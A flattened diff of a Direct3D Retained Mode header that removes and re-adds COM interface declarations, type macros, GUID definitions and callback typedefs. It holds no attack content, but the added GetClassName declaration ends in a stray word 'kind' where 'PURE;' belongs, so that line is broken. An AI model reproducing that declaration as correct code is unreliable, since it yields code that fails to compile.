STDMETHOD(GetTextureCoordinates)(THIS_ DWORD index, D3DVALUE *u, D3DVALUE *v) PURE; - STDMETHOD_(int, AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD_(int, AddNormal)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(CreateFace)(THIS_ LPDIRECT3DRMFACE*) PURE; - STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE; - STDMETHOD_(BOOL, GetPerspective)(THIS) PURE; - STDMETHOD_(int, GetFaceCount)(THIS) PURE; - STDMETHOD_(int, GetVertexCount)(THIS) PURE; - STDMETHOD_(D3DCOLOR, GetVertexColor)(THIS_ DWORD index) PURE; - STDMETHOD(CreateMesh)(THIS_ LPDIRECT3DRMMESH*) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMLight -DECLARE_INTERFACE_(IDirect3DRMLight, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(SetType)(THIS_ D3DRMLIGHTTYPE) PURE; - STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; - STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; - STDMETHOD(SetRange)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetUmbra)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetPenumbra)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetConstantAttenuation)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetLinearAttenuation)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetQuadraticAttenuation)(THIS_ D3DVALUE) PURE; - STDMETHOD_(D3DVALUE, GetRange)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetUmbra)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetPenumbra)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetConstantAttenuation)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetLinearAttenuation)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetQuadraticAttenuation)(THIS) PURE; - STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; - STDMETHOD_(D3DRMLIGHTTYPE, GetType)(THIS) PURE; - STDMETHOD(SetEnableFrame)(THIS_ LPDIRECT3DRMFRAME) PURE; - STDMETHOD(GetEnableFrame)(THIS_ LPDIRECT3DRMFRAME*) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMTexture -DECLARE_INTERFACE_(IDirect3DRMTexture, IDirect3DRMVisual) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(InitFromFile)(THIS_ const char *filename) PURE; - STDMETHOD(InitFromSurface)(THIS_ LPDIRECTDRAWSURFACE lpDDS) PURE; - STDMETHOD(InitFromResource)(THIS_ HRSRC) PURE; - STDMETHOD(Changed)(THIS_ BOOL pixels, BOOL palette) PURE; - STDMETHOD(SetColors)(THIS_ DWORD) PURE; - STDMETHOD(SetShades)(THIS_ DWORD) PURE; - STDMETHOD(SetDecalSize)(THIS_ D3DVALUE width, D3DVALUE height) PURE; - STDMETHOD(SetDecalOrigin)(THIS_ LONG x, LONG y) PURE; - STDMETHOD(SetDecalScale)(THIS_ DWORD) PURE; - STDMETHOD(SetDecalTransparency)(THIS_ BOOL) PURE; - STDMETHOD(SetDecalTransparentColor)(THIS_ D3DCOLOR) PURE; - STDMETHOD(GetDecalSize)(THIS_ D3DVALUE *width_return, D3DVALUE *height_return) PURE; - STDMETHOD(GetDecalOrigin)(THIS_ LONG *x_return, LONG *y_return) PURE; - STDMETHOD_(D3DRMIMAGE *, GetImage)(THIS) PURE; - STDMETHOD_(DWORD, GetShades)(THIS) PURE; - STDMETHOD_(DWORD, GetColors)(THIS) PURE; - STDMETHOD_(DWORD, GetDecalScale)(THIS) PURE; - STDMETHOD_(BOOL, GetDecalTransparency)(THIS) PURE; - STDMETHOD_(D3DCOLOR, GetDecalTransparentColor)(THIS) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMWrap -DECLARE_INTERFACE_(IDirect3DRMWrap, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(Init) - ( THIS_ D3DRMWRAPTYPE, LPDIRECT3DRMFRAME ref, - D3DVALUE ox, D3DVALUE oy, D3DVALUE oz, - D3DVALUE dx, D3DVALUE dy, D3DVALUE dz, - D3DVALUE ux, D3DVALUE uy, D3DVALUE uz, - D3DVALUE ou, D3DVALUE ov, - D3DVALUE su, D3DVALUE sv - ) PURE; - STDMETHOD(Apply)(THIS_ LPDIRECT3DRMOBJECT) PURE; - STDMETHOD(ApplyRelative)(THIS_ LPDIRECT3DRMFRAME frame, LPDIRECT3DRMOBJECT) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMMaterial -DECLARE_INTERFACE_(IDirect3DRMMaterial, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(SetPower)(THIS_ D3DVALUE power) PURE; - STDMETHOD(SetSpecular)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE; - STDMETHOD(SetEmissive)(THIS_ D3DVALUE r, D3DVALUE g, D3DVALUE b) PURE; - STDMETHOD_(D3DVALUE, GetPower)(THIS) PURE; - STDMETHOD(GetSpecular)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE; - STDMETHOD(GetEmissive)(THIS_ D3DVALUE* r, D3DVALUE* g, D3DVALUE* b) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMAnimation -DECLARE_INTERFACE_(IDirect3DRMAnimation, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(SetOptions)(THIS_ D3DRMANIMATIONOPTIONS flags) PURE; - STDMETHOD(AddRotateKey)(THIS_ D3DVALUE time, D3DRMQUATERNION *q) PURE; - STDMETHOD(AddPositionKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(AddScaleKey)(THIS_ D3DVALUE time, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(DeleteKey)(THIS_ D3DVALUE time) PURE; - STDMETHOD(SetFrame)(THIS_ LPDIRECT3DRMFRAME frame) PURE; - STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE; - STDMETHOD_(D3DRMANIMATIONOPTIONS, GetOptions)(THIS) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMAnimationSet -DECLARE_INTERFACE_(IDirect3DRMAnimationSet, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(AddAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE; - STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg, LPDIRECT3DRMFRAME parent)PURE; - STDMETHOD(DeleteAnimation)(THIS_ LPDIRECT3DRMANIMATION aid) PURE; - STDMETHOD(SetTime)(THIS_ D3DVALUE time) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMUserVisual -DECLARE_INTERFACE_(IDirect3DRMUserVisual, IDirect3DRMVisual) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(Init)(THIS_ D3DRMUSERVISUALCALLBACK fn, void *arg) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMArray -DECLARE_INTERFACE_(IDirect3DRMArray, IUnknown) { - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMDeviceArray -DECLARE_INTERFACE_(IDirect3DRMDeviceArray, IDirect3DRMArray) { - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; - STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMDEVICE *) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMFrameArray -DECLARE_INTERFACE_(IDirect3DRMFrameArray, IDirect3DRMArray) { - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; - STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFRAME *) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMViewportArray -DECLARE_INTERFACE_(IDirect3DRMViewportArray, IDirect3DRMArray) -{ - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; - STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVIEWPORT *) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMVisualArray -DECLARE_INTERFACE_(IDirect3DRMVisualArray, IDirect3DRMArray) { - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; - STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMPickedArray -DECLARE_INTERFACE_(IDirect3DRMPickedArray, IDirect3DRMArray) { - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; - STDMETHOD(GetPick)(THIS_ DWORD index, LPDIRECT3DRMVISUAL *, LPDIRECT3DRMFRAMEARRAY *, LPD3DRMPICKDESC) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMLightArray -DECLARE_INTERFACE_(IDirect3DRMLightArray, IDirect3DRMArray) { - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; - STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMLIGHT *) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMFaceArray -DECLARE_INTERFACE_(IDirect3DRMFaceArray, IDirect3DRMArray) { - IUNKNOWN_METHODS(PURE); - STDMETHOD_(DWORD, GetSize)(THIS) PURE; - STDMETHOD(GetElement)(THIS_ DWORD index, LPDIRECT3DRMFACE *) PURE; -}; -#endif + STDMETHOD(GetClassName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind +#define WIN_TYPES(itype, ptype) typedef interface itype FAR *LP##ptype, FAR **LPLP##ptype +WIN_TYPES(IDirect3DRMObject, DIRECT3DRMOBJECT); +WIN_TYPES(IDirect3DRMDevice, DIRECT3DRMDEVICE); +WIN_TYPES(IDirect3DRMViewport, DIRECT3DRMVIEWPORT); +WIN_TYPES(IDirect3DRMFrame, DIRECT3DRMFRAME); +WIN_TYPES(IDirect3DRMVisual, DIRECT3DRMVISUAL); +WIN_TYPES(IDirect3DRMMesh, DIRECT3DRMMESH); +WIN_TYPES(IDirect3DRMMeshBuilder, DIRECT3DRMMESHBUILDER); +WIN_TYPES(IDirect3DRMFace, DIRECT3DRMFACE); +WIN_TYPES(IDirect3DRMLight, DIRECT3DRMLIGHT); +WIN_TYPES(IDirect3DRMTexture, DIRECT3DRMTEXTURE); +WIN_TYPES(IDirect3DRMWrap, DIRECT3DRMWRAP); +WIN_TYPES(IDirect3DRMMaterial, DIRECT3DRMMATERIAL); +WIN_TYPES(IDirect3DRMAnimation, DIRECT3DRMANIMATION); +WIN_TYPES(IDirect3DRMAnimationSet, DIRECT3DRMANIMATIONSET); +WIN_TYPES(IDirect3DRMUserVisual, DIRECT3DRMUSERVISUAL); +WIN_TYPES(IDirect3DRMShadow, DIRECT3DRMSHADOW); +WIN_TYPES(IDirect3DRMArray, DIRECT3DRMOBJECTARRAY); +WIN_TYPES(IDirect3DRMDeviceArray, DIRECT3DRMDEVICEARRAY); +WIN_TYPES(IDirect3DRMFaceArray, DIRECT3DRMFACEARRAY); +WIN_TYPES(IDirect3DRMViewportArray, DIRECT3DRMVIEWPORTARRAY); +WIN_TYPES(IDirect3DRMFrameArray, DIRECT3DRMFRAMEARRAY); +WIN_TYPES(IDirect3DRMVisualArray, DIRECT3DRMVISUALARRAY); +WIN_TYPES(IDirect3DRMPickedArray, DIRECT3DRMPICKEDARRAY); +WIN_TYPES(IDirect3DRMLightArray, DIRECT3DRMLIGHTARRAY); +DEFINE_GUID(CLSID_CDirect3DRMDevice, 0x4fa3568e, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMViewport, 0x4fa3568f, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMFrame, 0x4fa35690, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMMesh, 0x4fa35691, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMMeshBuilder, 0x4fa35692, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMFace, 0x4fa35693, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMLight, 0x4fa35694, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMTexture, 0x4fa35695, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMWrap, 0x4fa35696, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMMaterial, 0x4fa35697, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMAnimation, 0x4fa35698, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMAnimationSet, 0x4fa35699, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMUserVisual, 0x4fa3569a, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(CLSID_CDirect3DRMShadow, 0x4fa3569b, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMObject, 0xeb16cb00, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMDevice, 0xe9e19280, 0x6e05, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMViewport, 0xeb16cb02, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFrame, 0xeb16cb03, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMVisual, 0xeb16cb04, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMMesh, 0xa3a80d01, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMMeshBuilder, 0xa3a80d02, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFace, 0xeb16cb07, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMLight, 0xeb16cb08, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMTexture, 0xeb16cb09, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMWrap, 0xeb16cb0a, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMMaterial, 0xeb16cb0b, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMAnimation, 0xeb16cb0d, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMAnimationSet, 0xeb16cb0e, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMDeviceArray, 0xeb16cb10, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMViewportArray, 0xeb16cb11, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFrameArray, 0xeb16cb12, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMVisualArray, 0xeb16cb13, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMLightArray, 0xeb16cb14, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMPickedArray, 0xeb16cb16, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMFaceArray, 0xeb16cb17, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMUserVisual, 0x59163de0, 0x6d43, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +DEFINE_GUID(IID_IDirect3DRMShadow, 0xaf359780, 0x6ba3, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); +typedef void (CDECL *D3DRMOBJECTCALLBACK)(LPDIRECT3DRMOBJECT obj, LPVOID arg); +typedef void (CDECL *D3DRMFRAMEMOVECALLBACK)(LPDIRECT3DRMFRAME obj, LPVOID arg, D3DVALUE delta); +typedef void (CDECL *D3DRMUPDATECALLBACK)(LPDIRECT3DRMDEVICE obj, LPVOID arg, int, LPD3DRECT); +typedef int (CDECL *D3DRMUSERVISUALCALLBACK)(LPDIRECT3DRMUSERVISUAL,LPVOID,D3DRMUSERVISUALREASON,LPDIRECT3DRMDEVICE,LPDIRECT3DRMVIEWPORT); +typedef HRESULT (CDECL *D3DRMLOADTEXTURECALLBACK)(char *,void *,LPDIRECT3DRMTEXTURE *); +typedef void (CDECL *D3DRMLOADCALLBACK) (LPDIRECT3DRMOBJECT,REFIID,LPVOID); +typedef struct _D3DRMPICKDESC { + ULONG ulFaceIdx; + LONG lGroupIdx; + D3DVECTOR vPosition; +} D3DRMPICKDESC, *LPD3DRMPICKDESC; +#undef INTERFACE +#define INTERFACE IDirect3DRMObject +DECLARE_INTERFACE_(IDirect3DRMObject, IUnknown) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMVisual +DECLARE_INTERFACE_(IDirect3DRMVisual, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMDevice +DECLARE_INTERFACE_(IDirect3DRMDevice, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init)(THIS_ ULONG width, ULONG height) PURE; + STDMETHOD(InitFromD3D)(THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev) PURE; + STDMETHOD(InitFromClipper)(THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, int width, int height) PURE; + STDMETHOD(Update)(THIS) PURE; + STDMETHOD(AddUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE; + STDMETHOD(DeleteUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE; + STDMETHOD(SetBufferCount)(THIS_ DWORD) PURE; + STDMETHOD_(DWORD, GetBufferCount)(THIS) PURE; + STDMETHOD(SetDither)(THIS_ BOOL) PURE; + STDMETHOD(SetShades)(THIS_ DWORD) PURE; + STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE; + STDMETHOD(SetTextureQuality)(THIS_ D3DRMTEXTUREQUALITY) PURE; + STDMETHOD(GetViewports)(THIS_ LPDIRECT3DRMVIEWPORTARRAY *return_views) PURE; + STDMETHOD_(BOOL, GetDither)(THIS) PURE; + STDMETHOD_(DWORD, GetShades)(THIS) PURE; + STDMETHOD_(DWORD, GetHeight)(THIS) PURE; + STDMETHOD_(DWORD, GetWidth)(THIS) PURE; + STDMETHOD_(DWORD, GetTrianglesDrawn)(THIS) PURE; + STDMETHOD_(DWORD, GetWireframeOptions)(THIS) PURE; + STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE; + STDMETHOD_(D3DCOLORMODEL, GetColorModel)(THIS) PURE; + STDMETHOD_(D3DRMTEXTUREQUALITY, GetTextureQuality)(THIS) PURE; + STDMETHOD(GetDirect3DDevice)(THIS_ LPDIRECT3DDEVICE *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMViewport +DECLARE_INTERFACE_(IDirect3DRMViewport, IDirect3DRMObject) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(Init)(THIS_ LPDIRECT3DRMDEVICE d,LPDIRECT3DRMFRAME c,DWORD x,DWORD y,DWORD w,DWORD h) PURE; + STDMETHOD(Clear)(THIS) PURE; + STDMETHOD(Render)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(SetFront)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetBack)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetField)(THIS_ D3DVALUE) PURE; + STDMETHOD(SetUniformScaling)(THIS_ BOOL) PURE; + STDMETHOD(SetCamera)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(SetProjection)(THIS_ D3DRMPROJECTIONTYPE) PURE; + STDMETHOD(Transform)(THIS_ D3DRMVECTOR4D *d, D3DVECTOR *s) PURE; + STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DRMVECTOR4D *s) PURE; + STDMETHOD(Configure)(THIS_ LONG x, LONG y, DWORD width, DWORD height) PURE; + STDMETHOD(ForceUpdate)(THIS_ DWORD x1, DWORD y1, DWORD x2, DWORD y2) PURE; + STDMETHOD(SetPlane)(THIS_ D3DVALUE left, D3DVALUE right, D3DVALUE bottom, D3DVALUE top) PURE; + STDMETHOD(GetCamera)(THIS_ LPDIRECT3DRMFRAME *) PURE; + STDMETHOD(GetDevice)(THIS_ LPDIRECT3DRMDEVICE *) PURE; + STDMETHOD(GetPlane)(THIS_ D3DVALUE *left, D3DVALUE *right, D3DVALUE *bottom, D3DVALUE *top) PURE; + STDMETHOD(Pick)(THIS_ LONG x, LONG y, LPDIRECT3DRMPICKEDARRAY *return_visuals) PURE; + STDMETHOD_(BOOL, GetUniformScaling)(THIS) PURE; + STDMETHOD_(LONG, GetX)(THIS) PURE; + STDMETHOD_(LONG, GetY)(THIS) PURE; + STDMETHOD_(DWORD, GetWidth)(THIS) PURE; + STDMETHOD_(DWORD, GetHeight)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetField)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetBack)(THIS) PURE; + STDMETHOD_(D3DVALUE, GetFront)(THIS) PURE; + STDMETHOD_(D3DRMPROJECTIONTYPE, GetProjection)(THIS) PURE; + STDMETHOD(GetDirect3DViewport)(THIS_ LPDIRECT3DVIEWPORT *) PURE; +}; +#undef INTERFACE +#define INTERFACE IDirect3DRMFrame +DECLARE_INTERFACE_(IDirect3DRMFrame, IDirect3DRMVisual) +{ + IUNKNOWN_METHODS(PURE); + IDIRECT3DRMOBJECT_METHODS(PURE); + STDMETHOD(AddChild)(THIS_ LPDIRECT3DRMFRAME child) PURE; + STDMETHOD(AddLight)(THIS_ LPDIRECT3DRMLIGHT) PURE; + STDMETHOD(AddMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE; + STDMETHOD(AddTransform)(THIS_ D3DRMCOMBINETYPE, D3DRMMATRIX4D) PURE; + STDMETHOD(AddTranslation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; + STDMETHOD(AddScale)(THIS_ D3DRMCOMBINETYPE, D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; + STDMETHOD(AddRotation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE; + STDMETHOD(AddVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE; + STDMETHOD(GetChildren)(THIS_ LPDIRECT3DRMFRAMEARRAY *children) PURE; + STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; + STDMETHOD(GetLights)(THIS_ LPDIRECT3DRMLIGHTARRAY *lights) PURE; + STDMETHOD_(D3DRMMATERIALMODE, GetMaterialMode)(THIS) PURE; + STDMETHOD(GetParent)(THIS_ LPDIRECT3DRMFRAME *) PURE; + STDMETHOD(GetPosition)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_position) PURE; + STDMETHOD(GetRotation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR axis, LPD3DVALUE return_theta) PURE; + STDMETHOD(GetScene)(THIS_ LPDIRECT3DRMFRAME *) PURE; + STDMETHOD_(D3DRMSORTMODE, GetSortMode)(THIS) PURE; + STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE; + STDMETHOD(GetTransform)(THIS_ D3DRMMATRIX4D return_matrix) PURE; + STDMETHOD(GetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_velocity, BOOL with_rotation) PURE; + STDMETHOD(GetOrientation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR dir, LPD3DVECTOR up) PURE; + STDMETHOD(GetVisuals)(THIS_ LPDIRECT3DRMVISUALARRAY *visuals) PURE; + STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE; + STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE; + STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg)PURE; + STDMETHOD(LookAt)(THIS_ LPDIRECT3DRMFRAME target, LPDIRECT3DRMFRAME reference, D3DRMFRAMECONSTRAINT) PURE; + STDMETHOD(Move)(THIS_ D3DVALUE delta) PURE; + STDMETHOD(DeleteChild)(THIS_ LPDIRECT3DRMFRAME) PURE; + STDMETHOD(DeleteLight)(THIS_ LPDIRECT3DRMLIGHT) PURE; + STDMETHOD(DeleteMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE; + STDMETHOD(DeleteVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE; + STDMETHOD_(D3DCOLOR, GetSceneBackground)(THIS) PURE; + STDMETHOD(GetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE *) PURE; + STDMETHOD_(D3DCOLOR, GetSceneFogColor)(THIS) PURE; + STDMETHOD_(BOOL, GetSceneFogEnable)(THIS) PURE; + STDMETHOD_(D3DRMFOGMODE, GetSceneFogMode)(THIS) PURE; + STDMETHOD(GetSceneFogParams)(THIS_ D3DVALUE *return_start, D3DVALUE *return_end, D3DVALUE *return_density) PURE; + STDMETHOD(SetSceneBackground)(THIS_ D3DCOLOR) PURE; + STDMETHOD(SetSceneBackgroundRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; + STDMETHOD(SetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE) PURE; + STDMETHOD(SetSceneBackgroundImage)(THIS_ LPDIRECT3DRMTEXTURE) PURE; + 